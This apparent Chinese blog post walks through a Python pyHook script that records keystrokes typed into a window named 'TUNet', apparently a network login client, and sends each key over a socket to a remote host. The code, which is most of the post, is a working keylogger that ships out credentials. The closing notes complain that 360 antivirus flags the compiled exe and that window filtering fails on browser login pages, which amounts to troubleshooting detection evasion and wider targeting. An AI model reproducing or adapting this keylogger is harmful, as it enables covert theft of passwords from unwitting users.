pyhook学习—捕获某程序过程键盘输入

捕获某程序运行过程键盘输入,并利用socket模块发送

# -*- coding: cp936 -*-
import pythoncom  
import pyHook  
import win32api
import re
import socket

port=1234
host=**

def onKeyboardEvent(event):
    if re.findall(r'TUNet',str(event.WindowName))!=[]:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(str(event.Key))
        s.close()

    if str(event.Key)=='Return':  #按下enter后终止   
        win32api.PostQuitMessage()
        
    return True
    

if __name__ == "__main__":

    #创建hook句柄  
    hm = pyHook.HookManager()  
    #监控键盘  
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()

    
    
    #循环获取消息  
    pythoncom.PumpMessages(1000)

存在问题:

编译成exe后马上被360查出来,利用键盘事件的windowsname来识别在其他程序中,不管用,比如浏览器的某网页登陆界面等等,大部分时候windowsname都是none

 

参考:
小五义《pyhooks实现键盘监控学习心得》 http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html



你可能感兴趣的:(python)